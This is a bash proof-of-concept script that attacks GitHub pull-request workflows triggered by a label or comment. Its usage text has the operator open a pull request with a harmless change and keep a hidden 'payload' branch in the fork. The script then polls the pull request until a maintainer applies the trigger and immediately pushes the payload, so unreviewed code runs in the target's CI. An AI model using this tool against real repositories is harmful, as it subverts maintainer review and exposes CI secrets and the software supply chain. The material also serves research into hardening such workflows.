push-on-label-or-comment.sh

#!/usr/bin/env bash

set -e


help() {
  echo "$1" >&2
}

info() {
  echo "info: $1" >&2
}

error() {
  echo "error: $1" >&2
}


if [[ $# -ne 2 ]]; then
  help "usage: $0 html_url trigger"
  help
  help 'Waits until the "trigger" is applied to the "html_url" and pushes changes'
  help 'residing on the "payload" branch of the head of the pull request'
  help 'which is automatically deducted from the the "html_url".'
  help
  help 'To use it as a proof of concept:'
  help '    1. Fork the repo.'
  help '    2. Create a non-malicious change in the fork and open a pull request to the mirror.'
  help '    3. Create the "payload" branch in the fork and put the payload there.'
  help '    4. Run this script and wait until a maintainer triggers the workflow.'
  help
  help '    html_url      url to pull request (e.g. https://github.com/{owner}/{repo}/pull/1)'
  help '    trigger       label or comment that triggers workflow (e.g. ci:ready_to_merge)'
  exit 1
fi

if ! gh auth status; then
  exit 1
fi

readonly HTML_URL="$1"
readonly TRIGGER="$2"

# TODO: ensure HTML_URL matches the https://github.com/{owner}/{repo}/pull/{number} regex
readonly OWNER="$(echo  "$HTML_URL" | cut -d / -f 4)"
readonly REPO="$(echo   "$HTML_URL" | cut -d / -f 5)"
readonly NUMBER="$(echo "$HTML_URL" | cut -d / -f 7)"

readonly FORK_HEAD_REF="$(gh api "/repos/$OWNER/$REPO/pulls/$NUMBER" --jq .head.ref)"
readonly FORK_HTML_URL="$(gh api "/repos/$OWNER/$REPO/pulls/$NUMBER" --jq .head.repo.html_url)"
readonly FORK_OWNER="$(echo "$FORK_HTML_URL" | cut -d / -f 4)"

readonly AUTHENTICATED_USER="$(gh api /user --jq .login)"

if [[ "$AUTHENTICATED_USER" != "$FORK_OWNER" ]]; then
  error "$AUTHENTICATED_USER != $FORK_OWNER"
  exit 1
fi

readonly FORK_LOCAL_PATH="$(mktemp -d)"

git -C "$FORK_LOCAL_PATH" init
git -C "$FORK_LOCAL_PATH" remote add origin "$FORK_HTML_URL"
# https://github.com/cli/cli/issues/3796#issuecomment-1065150465
git -C "$FORK_LOCAL_PATH" config 'credential.https://github.saobby.my.eu.org.helper' ""
git -C "$FORK_LOCAL_PATH" config --add 'credential.https://github.saobby.my.eu.org.helper' '!/usr/local/bin/gh auth git-credential'
git -C "$FORK_LOCAL_PATH" fetch --all
git -C "$FORK_LOCAL_PATH" checkout "$FORK_HEAD_REF"

git -C "$FORK_LOCAL_PATH" merge origin/payload

while true; do
  if gh api "/repos/$OWNER/$REPO/issues/$NUMBER/labels" --jq '.[].name' | grep -qF "$TRIGGER"; then
    break
  fi

  if gh api "/repos/$OWNER/$REPO/issues/$NUMBER/comments" --jq '.[].body' | grep -qF "$TRIGGER"; then
    break
  fi

  info 'sleep 0.1337'
  sleep '0.1337'
done

git -C "$FORK_LOCAL_PATH" push